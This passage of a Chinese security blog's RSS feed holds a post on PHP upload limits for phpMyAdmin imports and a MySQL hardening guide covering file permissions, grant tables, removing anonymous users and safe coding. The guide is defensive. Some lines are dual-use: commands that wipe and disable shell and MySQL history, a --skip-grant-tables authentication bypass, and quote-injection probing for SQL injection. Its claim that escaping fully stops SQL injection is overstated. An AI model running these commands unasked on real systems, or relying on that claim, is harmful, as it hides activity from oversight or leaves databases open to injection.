<li><a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li>
<li><a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li>
<li><a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li>
<li><a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li>
<li><a href="http://www.4shell.org/archives/386.html" title="MySQLhack">MySQLhack</a></li>
<li><a href="http://www.4shell.org/archives/338.html" title="MySql远程任意用户建接语句">MySql远程任意用户建接语句</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1173.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL导入数据库文件最大限制2048KB的修改解决办法</title>
		<link>http://www.4shell.org/archives/1156.html</link>
		<comments>http://www.4shell.org/archives/1156.html#comments</comments>
		<pubDate>Thu, 05 Nov 2009 01:04:32 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[小技巧]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1156.html</guid>
		<description><![CDATA[今天为论坛进行服务器空间的转移~~~先顺利将Mysql数据库用phpmyadmin导出~~ 然后在新服务器上建好数据库后，然后进行导入！可是因为MySQL数据库的.sql文件大于2MB。所以在导入时就提示说超过2048KB的错误，不让导入….于是就引出了此文的解决办法，呵呵 解决办法： 1、打开php.ini。找到 upload_max_filesize 、 memory_limit 、 post_max_size 这三个参数！ (在默认的情况下,php只允许最大的上传数据为2M,也就是2048KB,而极限的最大使用内存memory_limit也仅为128M，Post的最大也为2M) 2、按您的服务器的实际性能配置进行如下改动：（注意：以下是按我的服务器性能和硬件配置进行的更改..） upload_max_filesize = 8M (上传最大极限设定为8M,这个应该足够一般的文件WEB上传了) memory_limit = 512M (因为服务器的内存为2GB,所以这里加到512M不过份吧，呵) post_max_size = 8M (Post数据最大也设置为8MB,这个跟upload_max一样) 3、改完之后，我重新启动系统，再重新执行导入命令后： Import has been successfully finished, 399 queries executed. (显示导入成功,有多少个请求处理成功…) （备注：改完后当你在到phpMyadmin的导入命令行时，虽然(有时候可能会仍然显示为:最大限制:2048KB/Max: 2,048KiB);但实际上你已经可以导入不超过8M的MySQL数据库.sql导出的备份文件了! 另，改完php.ini后，别忘了重启一下web服务或者是服务器哟！重启后升效! 相关文章 Mysql另类盲注中的一些技巧 搞内网的一个小技巧 MySQL监控快速指南 更改windows2003最大连接数 让千千静听不再弹出广告 手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】 MySQL安装详细图解 wp-postviews和Wp Super Cache有冲突 流量过大，不得不启用WP Super Cache 让 Windows 开机自动拨号上网]]></description>
			<content:encoded><![CDATA[<p>今天为论坛进行服务器空间的转移~~~先顺利将Mysql数据库用phpmyadmin导出~~<br />
然后在新服务器上建好数据库后，然后进行导入！可是因为MySQL数据库的.sql文件大于2MB。所以在导入时就提示说超过2048KB的错误，不让导入….于是就引出了此文的解决办法，呵呵</p>
<p>解决办法：<br />
<span id="more-1156"></span><br />
1、打开php.ini。找到 upload_max_filesize 、 memory_limit 、 post_max_size 这三个参数！<br />
(在默认的情况下,php只允许最大的上传数据为2M,也就是2048KB,而极限的最大使用内存memory_limit也仅为128M，Post的最大也为2M)</p>
<p>2、按您的服务器的实际性能配置进行如下改动：（注意：以下是按我的服务器性能和硬件配置进行的更改..）</p>
<p>upload_max_filesize = 8M (上传最大极限设定为8M,这个应该足够一般的文件WEB上传了)<br />
memory_limit = 512M (因为服务器的内存为2GB,所以这里加到512M不过份吧，呵)<br />
post_max_size = 8M (Post数据最大也设置为8MB,这个跟upload_max一样)</p>
<p>3、改完之后，我重新启动系统，再重新执行导入命令后：<br />
Import has been successfully finished, 399 queries executed.<br />
(显示导入成功,有多少个请求处理成功…)</p>
<p>（备注：改完后当你在到phpMyadmin的导入命令行时，虽然(有时候可能会仍然显示为:最大限制:2048KB/Max: 2,048KiB);但实际上你已经可以导入不超过8M的MySQL数据库.sql导出的备份文件了! 另，改完php.ini后，别忘了重启一下web服务或者是服务器哟！重启后升效!<br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li>
<li><a href="http://www.4shell.org/archives/1750.html" title="搞内网的一个小技巧">搞内网的一个小技巧</a></li>
<li><a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li>
<li><a href="http://www.4shell.org/archives/1720.html" title="更改windows2003最大连接数">更改windows2003最大连接数</a></li>
<li><a href="http://www.4shell.org/archives/1591.html" title="让千千静听不再弹出广告">让千千静听不再弹出广告</a></li>
<li><a href="http://www.4shell.org/archives/1476.html" title="手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】">手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】</a></li>
<li><a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li>
<li><a href="http://www.4shell.org/archives/1110.html" title="wp-postviews和Wp Super Cache有冲突">wp-postviews和Wp Super Cache有冲突</a></li>
<li><a href="http://www.4shell.org/archives/1109.html" title="流量过大，不得不启用WP Super Cache">流量过大，不得不启用WP Super Cache</a></li>
<li><a href="http://www.4shell.org/archives/1088.html" title=" 让 Windows 开机自动拨号上网"> 让 Windows 开机自动拨号上网</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1156.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL数据库安全配置指南</title>
		<link>http://www.4shell.org/archives/1083.html</link>
		<comments>http://www.4shell.org/archives/1083.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 10:57:44 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1083.html</guid>
		<description><![CDATA[1、前言 MySQL是完全网络化的跨平台关系型数据库系统，同时是具有客户机/服务器体系结构的 分布式数据库管理系统。它具有功能强、使用简便、管理方便、运行速度快、安全可靠性强等优点，用户可利用许多语言编写访问MySQL数据库的程序，特别是 与PHP更是黄金组合，运用十分广泛。 由于MySQL是多平台的数据库，它的默认配置要考虑各种情况下都能适用，所以在我们自己的使用环境下应该进行进一步的安全加固。作为一个MySQL的系统管理员，我们有责任维护MySQL数据库系统的数据安全性和完整性。 MySQL数据库的安全配置必须从两个方面入手，系统内部安全和外部网络安全，另外我们还将简单介绍编程时要注意的一些问题以及一些小窍门。 2、系统内部安全 首先简单介绍一下MySQL数据库目录结构。MySQL安装好，运行了mysql_db_install脚本以后就会建立数据目录和初始化数据库。如果 我们用MySQL源码包安装，而且安装目录是/usr/local/mysql，那么数据目录一般会是/usr/local/mysql/var。数据库 系统由一系列数据库组成，每个数据库包含一系列数据库表。MySQL是用数据库名在数据目录建立建立一个数据库目录，各数据库表分别以数据库表名作为文件 名，扩展名分别为MYD、MYI、frm的三个文件放到数据库目录中。 MySQL的授权表给数据库的访问提供了灵活的权限控制，但是 如果本地用户拥有对库文件的读权限的话，攻击者只需把数据库目录打包拷走，然后拷到自己本机的数据目录下就能访问窃取的数据库。所以MySQL所在的主机 的安全性是最首要的问题，如果主机不安全，被攻击者控制，那么MySQL的安全性也无从谈起。其次就是数据目录和数据文件的安全性，也就是权限设置问题。 从MySQL主站一些老的binary发行版来看，3.21.xx版本中数据目录的属性是775，这样非常危险，任何本地用户都可以读数据目录，所以数 据库文件很不安全。3.22.xx版本中数据目录的属性是770，这种属性也有些危险，本地的同组用户既能读也能写，所以数据文件也不安全。 3.23.xx版本数据目录的属性是700，这样就比较好，只有启动数据库的用户可以读写数据库文件，保证了本地数据文件的安全。 如果启动MySQL数据库的用户是mysql，那么象如下的目录和文件的是安全的，请注意数据目录及下面的属性： shell&#62;ls -l /usr/local/mysql total 40 drwxrwxr-x 2 root root 4096 Feb 27 20:07 bin drwxrwxr-x 3 root root 4096 Feb 27 20:07 include drwxrwxr-x 2 root root 4096 Feb 27 20:07 info drwxrwxr-x 3 root root 4096 [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1、前言</p>
<p></strong> MySQL是完全网络化的跨平台关系型数据库系统，同时是具有客户机/服务器体系结构的 分布式数据库管理系统。它具有功能强、使用简便、管理方便、运行速度快、安全可靠性强等优点，用户可利用许多语言编写访问MySQL数据库的程序，特别是 与PHP更是黄金组合，运用十分广泛。</p>
<p>由于MySQL是多平台的数据库，它的默认配置要考虑各种情况下都能适用，所以在我们自己的使用环境下应该进行进一步的安全加固。作为一个MySQL的系统管理员，我们有责任维护MySQL数据库系统的数据安全性和完整性。</p>
<p>MySQL数据库的安全配置必须从两个方面入手，系统内部安全和外部网络安全，另外我们还将简单介绍编程时要注意的一些问题以及一些小窍门。</p>
<p><strong>2、系统内部安全</strong></p>
<p>首先简单介绍一下MySQL数据库目录结构。MySQL安装好，运行了mysql_db_install脚本以后就会建立数据目录和初始化数据库。如果 我们用MySQL源码包安装，而且安装目录是/usr/local/mysql，那么数据目录一般会是/usr/local/mysql/var。数据库 系统由一系列数据库组成，每个数据库包含一系列数据库表。MySQL是用数据库名在数据目录建立建立一个数据库目录，各数据库表分别以数据库表名作为文件 名，扩展名分别为MYD、MYI、frm的三个文件放到数据库目录中。</p>
<p>MySQL的授权表给数据库的访问提供了灵活的权限控制，但是 如果本地用户拥有对库文件的读权限的话，攻击者只需把数据库目录打包拷走，然后拷到自己本机的数据目录下就能访问窃取的数据库。所以MySQL所在的主机 的安全性是最首要的问题，如果主机不安全，被攻击者控制，那么MySQL的安全性也无从谈起。其次就是数据目录和数据文件的安全性，也就是权限设置问题。</p>
<p>从MySQL主站一些老的binary发行版来看，3.21.xx版本中数据目录的属性是775，这样非常危险，任何本地用户都可以读数据目录，所以数 据库文件很不安全。3.22.xx版本中数据目录的属性是770，这种属性也有些危险，本地的同组用户既能读也能写，所以数据文件也不安全。 3.23.xx版本数据目录的属性是700，这样就比较好，只有启动数据库的用户可以读写数据库文件，保证了本地数据文件的安全。<br />
<span id="more-1083"></span></p>
<p>如果启动MySQL数据库的用户是mysql，那么象如下的目录和文件的是安全的，请注意数据目录及下面的属性：</p>
<div>shell&gt;ls -l /usr/local/mysql<br />
total 40<br />
drwxrwxr-x 2 root root 4096 Feb 27 20:07 bin<br />
drwxrwxr-x 3 root root 4096 Feb 27 20:07 include<br />
drwxrwxr-x 2 root root 4096 Feb 27 20:07 info<br />
drwxrwxr-x 3 root root 4096 Feb 27 20:07 lib<br />
drwxrwxr-x 2 root root 4096 Feb 27 20:07 libexec<br />
drwxrwxr-x 3 root root 4096 Feb 27 20:07 man<br />
drwxrwxr-x 6 root root 4096 Feb 27 20:07 mysql-test<br />
drwxrwxr-x 3 root root 4096 Feb 27 20:07 share<br />
drwxrwxr-x 7 root root 4096 Feb 27 20:07 sql-bench<br />
drwx------ 4 mysql mysql 4096 Feb 27 20:07 var<br />
shell&gt;ls -l /usr/local/mysql/var<br />
total 8<br />
drwx------ 2 mysql mysql 4096 Feb 27 20:08 mysql<br />
drwx------ 2 mysql mysql 4096 Feb 27 20:08 test<br />
shell&gt;ls -l /usr/local/mysql/var/mysql<br />
total 104<br />
-rw------- 1 mysql mysql 0 Feb 27 20:08 columns_priv.MYD<br />
-rw------- 1 mysql mysql 1024 Feb 27 20:08 columns_priv.MYI<br />
-rw------- 1 mysql mysql 8778 Feb 27 20:08 columns_priv.frm<br />
-rw------- 1 mysql mysql 302 Feb 27 20:08 db.MYD<br />
-rw------- 1 mysql mysql 3072 Feb 27 20:08 db.MYI<br />
-rw------- 1 mysql mysql 8982 Feb 27 20:08 db.frm<br />
-rw------- 1 mysql mysql 0 Feb 27 20:08 func.MYD<br />
-rw------- 1 mysql mysql 1024 Feb 27 20:08 func.MYI<br />
-rw------- 1 mysql mysql 8641 Feb 27 20:08 func.frm<br />
-rw------- 1 mysql mysql 0 Feb 27 20:08 host.MYD<br />
-rw------- 1 mysql mysql 1024 Feb 27 20:08 host.MYI<br />
-rw------- 1 mysql mysql 8958 Feb 27 20:08 host.frm<br />
-rw------- 1 mysql mysql 0 Feb 27 20:08 tables_priv.MYD<br />
-rw------- 1 mysql mysql 1024 Feb 27 20:08 tables_priv.MYI<br />
-rw------- 1 mysql mysql 8877 Feb 27 20:08 tables_priv.frm<br />
-rw------- 1 mysql mysql 428 Feb 27 20:08 user.MYD<br />
-rw------- 1 mysql mysql 2048 Feb 27 20:08 user.MYI<br />
-rw------- 1 mysql mysql 9148 Feb 27 20:08 user.frm</div>
<p>如果这些文件的属主及属性不是这样，请用以下两个命令修正之：</p>
<div>shell&gt;chown -R mysql.mysql /usr/local/mysql/var<br />
shell&gt;chmod -R go-rwx /usr/local/mysql/var</div>
<p>用root用户启动远程服务一直是安全大忌，因为如果服务程序出现问题，远程攻击者极有可能获得主机的完全控制权。MySQL从3.23.15版本开始 时作了小小的改动，默认安装后服务要用mysql用户来启动，不允许root用户启动。如果非要用root用户来启动，必须加上--user=root的 参数</p>
<div>(./safe_mysqld --user=root &amp;)</div>
<p>因为MySQL中有LOAD DATA INFILE和SELECT ... INTO OUTFILE的SQL语句，如果是root用户启动了MySQL服务器，那么，数据库用户就拥有了root用户的写权限。不过MySQL还是做了一些限 制的，比如LOAD DATA INFILE只能读全局可读的文件，SELECT ... INTO OUTFILE不能覆盖已经存在的文件。</p>
<p>本地的日志文件也不能忽视，包括shell的日志和MySQL自己的日志。有些用户在本地登陆或备份数据库的时候为了图方便，有时会在命令行参数里直接带了数据库的密码，如：</p>
<div>shell&gt;/usr/local/mysql/bin/mysqldump -uroot -ptest test&gt;test.sql<br />
shell&gt;/usr/local/mysql/bin/mysql -uroot -ptest</div>
<p>这些命令会被shell记录在历史文件里，比如bash会写入用户目录的.bash_history文件，如果这些文件不慎被读，那么数据库的密码就会 泄漏。用户登陆数据库后执行的SQL命令也会被MySQL记录在用户目录的.mysql_history文件里。如果数据库用户用SQL语句修改了数据库 密码，也会因.mysql_history文件而泄漏。所以我们在shell登陆及备份的时候不要在-p后直接加密码，而是在提示后再输入数据库密码。</p>
<p>另外这两个文件我们也应该不让它记录我们的操作，以防万一。</p>
<div>shell&gt;rm .bash_history .mysql_history<br />
shell&gt;ln -s /dev/null .bash_history<br />
shell&gt;ln -s /dev/null .mysql_history</div>
<p>上门这两条命令把这两个文件链接到/dev/null，那么我们的操作就不会被记录到这两个文件里了。</p>
<p><strong>3、外部网络安全</strong></p>
<p>MySQL数据库安装好以后，Unix平台的user表是这样的：</p>
<div>mysql&gt; use mysql;<br />
Database changed<br />
mysql&gt; select Host,User,Password,Select_priv,Grant_priv from user;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214501734.jpg" alt="" /></p>
<p><strong>图1</strong></p>
<p>4 rows in set (0.00 sec)</p>
<p>Windows平台的user表是这样的：</p>
<div>mysql&gt; use mysql;<br />
Database changed<br />
mysql&gt; select Host,User,Password,Select_priv,Grant_priv from user;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214501580.jpg" alt="" /></p>
<p><strong>图2</strong></p>
<p>4 rows in set (0.00 sec)</p>
<p>我们先来看Unix平台的user表。其中redhat只是我试验机的机器名，所以实际上Unix平台的MySQL默认只允许本机才能连接数据库。但是缺省root用户口令是空，所以当务之急是给root用户加上口令。给数据库用户加口令有三种方法：</p>
<p>1)在shell提示符下用mysqladmin命令来改root用户口令:</p>
<div>shell&gt;mysqladmin -uroot password test</div>
<p>这样，MySQL数据库root用户的口令就被改成test了。(test只是举例，我们实际使用的口令一定不能使用这种易猜的弱口令)</p>
<p>2)用set password修改口令</p>
<div>mysql&gt; set password for root@localhost=password('test');</div>
<p>这时root用户的口令就被改成test了。</p>
<p>3)直接修改user表的root用户口令：</p>
<div>mysql&gt; use mysql;<br />
mysql&gt; update user set password=password('test') where user='root';<br />
mysql&gt; flush privileges;</div>
<p>这样，MySQL数据库root用户的口令也被改成test了。其中最后一句命令flush privileges的意思是强制刷新内存授权表，否则用的还是缓冲中的口令，这时非法用户还可以用root用户及空口令登陆，直到重启MySQL服务器。</p>
<p>我们还看到user为空的匿名用户，虽然它在Unix平台下没什么权限，但为了安全起见我们应该删除它：</p>
<div>mysql&gt; delete from user where user='';</div>
<p>Windows版本MySQL的user表有很大不同，我们看到Host字段除了localhost还有是%。这里%的意思是允许任意的主机连接MySQL服务器，这是非常不安全的，给攻击者造成可乘之机，我们必须删除Host字段为%的记录：</p>
<div>mysql&gt;delete from user where host='%';</div>
<p>默认root用户的空密码也是必须修改，三种修改方法和Unix平台一样。</p>
<p>我们注意到Host字段为localhost的匿名用户拥有所有的权限!就是说本地用户用空的用户名和空的口令登陆MySQL数据库服务器可以得到最高的权限!所以匿名用户必须删除!</p>
<div>mysql&gt; delete from user where user='';</div>
<p>对user表操作以后不要忘了用flush privileges来强制刷新内存授权表，这样才能生效。</p>
<p>默认安装的Windows版MySQL存在的不安全因素太多，我们在安装后一定要进一步配置!</p>
<p>MySQL的5个授权表：user, db, host, tables_priv和columns_priv提供非常灵活的安全机制，从MySQL 3.22.11开始引入了两条语句GRANT和REVOKE来创建和删除用户权限，可以方便的限制哪个用户可以连接服务器，从哪里连接以及连接后可以做什 么操作。作为MySQL管理员，我们必须了解授权表的意义以及如何用GRANT和REVOKE来创建用户、授权和撤权、删除用户。</p>
<p>在3.22.11版本以前的MySQL授权机制不完善，和新版本也有较大的不同，建议升级到最新版本的MySQL。(本书的操作例子是以MySQL 3.23.49为样本)我们先来了解授权表的结构。</p>
<p>1)MySQL授权表的结构与内容：</p>
<div>mysql&gt; desc user;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214501621.jpg" alt="" /></p>
<p><strong>图3</strong></p>
<p>17 rows in set (0.01 sec)</p>
<p>user表是5个授权表中最重要的一个，列出可以连接服务器的用户及其加密口令，并且它指定他们有哪种全局(超级用户)权限。在user表启用的任何权限均是全局权限，并适用于所有数据库。所以我们不能给任何用户访问mysql.user表的权限!</p>
<p>权限说明：</p>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214501360.jpg" alt="" /></p>
<p><strong>图4</strong></p>
<div>mysql&gt; desc db;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214502371.jpg" alt="" /></p>
<p><strong>图5</strong></p>
<p>13 rows in set (0.01 sec)</p>
<p>db表列出数据库，而用户有权限访问它们。在这里指定的权限适用于一个数据库中的所有表。</p>
<div>mysql&gt; desc host;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214503797.jpg" alt="" /></p>
<p><strong>图6</strong></p>
<p>12 rows in set (0.01 sec)</p>
<p>host表与db表结合使用在一个较好层次上控制特定主机对数据库的访问权限，这可能比单独使用db好些。这个表不受GRANT和REVOKE语句的影响，所以，你可能发觉你根本不是用它。</p>
<div>mysql&gt; desc tables_priv;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214503112.jpg" alt="" /></p>
<p><strong>图7</strong></p>
<p>8 rows in set (0.01 sec)</p>
<p>tables_priv表指定表级权限。在这里指定的一个权限适用于一个表的所有列。</p>
<div>mysql&gt; desc columns_priv;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214503784.jpg" alt="" /></p>
<p><strong>图8</strong></p>
<p>7 rows in set (0.00 sec)</p>
<p>columns_priv表指定列级权限。在这里指定的权限适用于一个表的特定列。</p>
<p>2)MySQL授权表运行机制</p>
<p>MySQL的访问控制分两个步骤：</p>
<p>a)服务器检查是否允许该用户连接。</p>
<p>b)如果该用户有权连接，那么服务器还会检查它的每一个请求是否有足够的权限。比如：用户检索数据库中的一个表需要有这个数据库的select权限，用户删除数据库中的一个表需要有这个数据库的drop权限。</p>
<p>授权表的user, db,host表使用这两个步骤，tables_priv和columns_priv表只使用第二步(检查请求)。每个授权表包含决定一个权限何时运用的范围列和决定授予哪种权限的权限列。</p>
<p>范围列指定表中的权限何时运用。每个授权表条目包含User和Host列来指定权限何时运用于一个给定用户从给定主机的连接。其他表包含附加的范围列， 如db表包含一个Db列指出权限运用于哪个数据库。类似地，tables_priv和columns_priv表包含范围字段，缩小范围到一个数据库中的 特定表或一个表的特定列。</p>
<p>下面是user表的Host字段和User字段组合的一些例子：</p>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214503833.jpg" alt="" /></p>
<p><strong>图9</strong></p>
<p>SQL的字符串通配符%表示匹配任意字符，可以是0个字符，通配符_表示匹配一个字符。</p>
<p>权限列指出在范围列中指定的用户拥有何种权限。该表使用GRANT语句的权限名称。对于绝大多数在user、db和host表中的权限列的名称与GRANT语句中有明显的联系。如Select_priv对应于SELECT权限。</p>
<p>3)授权表使用举例</p>
<p>grant用于给增加用户和创建权限，revoke用于删除用户权限。</p>
<p>下面是一些用grant增加用户和创建权限的例子：</p>
<div>mysql&gt; grant all privileges on *.* to test@localhost identified by 'test' with grant option;</div>
<p>这句增加一个本地具有所有权限的test用户(超级用户)，密码是test。ON子句中的*.*意味着"所有数据库、所有表"。with grant option表示它具有grant权限。</p>
<div>mysql&gt; grant select,insert,update,delete,create,drop privileges on test.* to test1@'192.168.1.0/255.255.255.0' identified by 'test';</div>
<p>这句是增加了一个test1用户，口令是test，但是它只能从C类子网192.168.1连接，对test库有select,insert,update,delete,create,drop操作权限。</p>
<p>用grant语句创建权限是不需要再手工刷新授权表的，因为它已经自动刷新了。</p>
<p>给用户创建权限还可以通过直接修改授权表：</p>
<div>mysql&gt; insert into user<br />
values("localhost","test",password("test"),"Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y");<br />
mysql&gt; flush privileges;</div>
<p>这两句和上面第一句grant的效果是一样的，也是增加了一个本地的test超级用户。我们看到用grant方便多了，而且还不需flush privileges。</p>
<div>mysql&gt; insert into user (host,user,password) values("192.168.1.0/255.255.255.0","test1",PASSWORD("test")); mysql&gt; insert into db values("192.168.1.0/255.255.255.0","test","test1","Y","Y","Y","Y","Y","Y","N","N","N","N") mysql&gt; flush privileges;</div>
<p>这三句和上面第二句grant的效果也是一样的，也是增加了一个只 能从C类子网192.168.1连接，对test库有select,insert,update,delete,create,drop操作权限的 test1用户，口令是test。要取消一个用户的权限，使用revoke语句。revoke的语法非常类似于grant语句，除了to用from取代并 且没有identified by和with grant option子句，下面是用revoke删除用户权限的例子：</p>
<div>mysql&gt; revoke all on test.* from test1@'192.168.1.0/255.255.255.0';</div>
<p>这句revoke就撤消了上面第二句grant创建的权限，但是test1用户并没有被删除，必须手工从user表删除：</p>
<div>mysql&gt; delete from user where user='test1';<br />
mysql&gt; flush privileges;</div>
<p>这样，test1用户就彻底删除了。</p>
<p>这些只是MySQL授权表的简单使用，更多详细的资料请见MySQL提供的手册。</p>
<p><strong>4、编程需要注意的一些问题</strong></p>
<p>不管是用哪种程序语言写连接MySQL数据库的程序，有一条准则是永远不要相信用户提交的数据!</p>
<p>对于数字字段，我们要使用查询语句：SELECT * FROM table WHERE ID='234'，不要使用SELECT * FROM table WHERE ID=234这样的查询语句。MySQL会自动把字串转换为数字字符并且去除非数字字符。如果用户提交的数据经过了 mysql_escape_string处理，这样我们就可以完全杜绝了sql inject攻击。</p>
<p>各种编程语言该注意的问题：</p>
<p>1)所有Web程序：</p>
<p>a)尝试在Web表单输入单引号和双引号来测试可能出现的错误，并找出原因所在。</p>
<p>b)修改URL参数带的%22 ('"'), %23 ('#'), 和 %27 (''')。</p>
<p>c)对于数字字段的变量，我们的应用程序必须进行严格的检查，否则是非常危险的。</p>
<p>d)检查用户提交的数据是否超过字段的长度。</p>
<p>e)不要给自己程序连接数据库的用户过多的访问权限。</p>
<p>2)PHP：</p>
<p>a)检查用户提交的数据在查询之前是否经过addslashes处理，在PHP 4.0.3以后提供了基于MySQL C</p>
<p>API的函数mysql_escape_string()。</p>
<p>3)MySQL C API：</p>
<p>a)检查查询字串是否用了mysql_escape_string() API调用。</p>
<p>4)MySQL++：</p>
<p>a)检查查询字串是否用了escape和quote处理。</p>
<p>5)Perl DBI：</p>
<p>a)检查查询字串是否用了quote()方法。</p>
<p>6)Java JDBC：</p>
<p>a)检查查询字串是否用了PreparedStatement对象。</p>
<p><strong>5、一些小窍门</strong></p>
<p>1)如果不慎忘记了MySQL的root密码，我们可以在启动MySQL服务器时加上参数--skip-grant-tables来跳过授权表的验证 (./safe_mysqld --skip-grant-tables &amp;)，这样我们就可以直接登陆MySQL服务器，然后再修改root用户的口令，重启MySQL就可以用新口令登陆了。</p>
<p>2)启动MySQL服务器时加上--skip-show-database使一般数据库用户不能浏览其它数据库。</p>
<p>3)启动MySQL服务器时加上--chroot=path参数，让mysqld守护进程运行在chroot环境中。这样SQL语句LOAD DATA INFILE和SELECT ... INTO OUTFILE就限定在chroot_path下读写文件了。这里有一点要注意，MySQL启动后会建立一个mysql.sock文件，默认是在/tmp 目录下。使用了chroot后，MySQL会在chroot_path/tmp去建立mysql.sock文件，如果没有chroot_path/tmp 目录或启动MySQL的用户没有这个目录写权限就不能建立mysql.sock文件，MySQL会启动失败。比如我们加了--chroot=/usr /local/mysql/启动参数，那么最好建立一个启动MySQL的用户能写的/usr/local/mysql/tmp目录，当然我们也可以用 --socket=path来指定mysql.sock文件的路径，但这个path一定要在chroot_path里面。</p>
<p>4)启动 MySQL服务器时加上--log-slow-queries[=file]参数，这样mysqld会把SQL命令执行时间超过 long_query_time的写入file文件。如果没有指定=file，mysqld默认会写到数据目录下的hostname-slow.log。 如果只指定了filename，没有指定路径，那么mysqld也会把filename写到数据目录下。我们通过这个日志文件可以找出执行时间超长的查询 语句，然后尽可能的优化它减轻MySQL服务器的负担。</p>
<p>5)如果我们只需本机使用MySQL服务，那么我们还可以加上--skip-networking启动参数使MySQL不监听任何TCP/IP连接，增加安全性。(非常推荐)</p>
<p>6)MySQL的更多mysqld启动选项请见MySQL手册4.16.4 mysqld Command-line Options<br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li>
<li><a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li>
<li><a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
<li><a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li>
<li><a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li>
<li><a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li>
<li><a href="http://www.4shell.org/archives/386.html" title="MySQLhack">MySQLhack</a></li>
<li><a href="http://www.4shell.org/archives/338.html" title="MySql远程任意用户建接语句">MySql远程任意用户建接语句</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1083.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于MySQL权限</title>
		<link>http://www.4shell.org/archives/1043.html</link>
		<comments>http://www.4shell.org/archives/1043.html#comments</comments>
		<pubDate>Sun, 23 Aug 2009 17:52:31 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[权限]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1043.html</guid>
		<description><![CDATA[MySQL权限详解： 一．权限表 mysql数据库中的3个权限表：user 、db、 host 权限表的存取过程是： 1)先从user表中的host、 user、 password这3个字段中判断连接的IP、用户名、密码是否存在表中，存在则通过身份验证； 2)通过权限验证，进行权限分配时，按照userdbtables_privcolumns_priv的顺序进行分配。即先检查全局权限表 user，如果user中对应的权限为Y，则此用户对所有数据库的权限都为Y，将不再检查db, tables_priv,columns_priv；如果为N，则到db表中检查此用户对应的具体数据库，并得到db中为Y的权限；如果db中为N，则检 查tables_priv中此数据库对应的具体表，取得表中的权限Y，以此类推。 二．MySQL各种权限（共27个） （以下操作都是以root身份登陆进行grant授权，以p1@localhost身份登陆执行各种命令。） 1. usage 连接（登陆）权限，建立一个用户，就会自动授予其usage权限（默认授予）。 mysql&#62; grant usage on *.* to ‘p1′@’localhost’ identified by ‘123′; 该权限只能用于数据库登陆，不能执行任何操作；且usage权限不能被回收，也即REVOKE用户并不能删除用户。 2. select 必须有select的权限，才可以使用select table mysql&#62; grant select on pyt.* to ‘p1′@’localhost’; mysql&#62; select * from shop; 3. create 必须有create的权限，才可以使用create table mysql&#62; grant create on pyt.* to [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL权限详解：</p>
<p>一．权限表<br />
mysql数据库中的3个权限表：user 、db、 host<br />
权限表的存取过程是：<br />
1)先从user表中的host、 user、 password这3个字段中判断连接的IP、用户名、密码是否存在表中，存在则通过身份验证；<br />
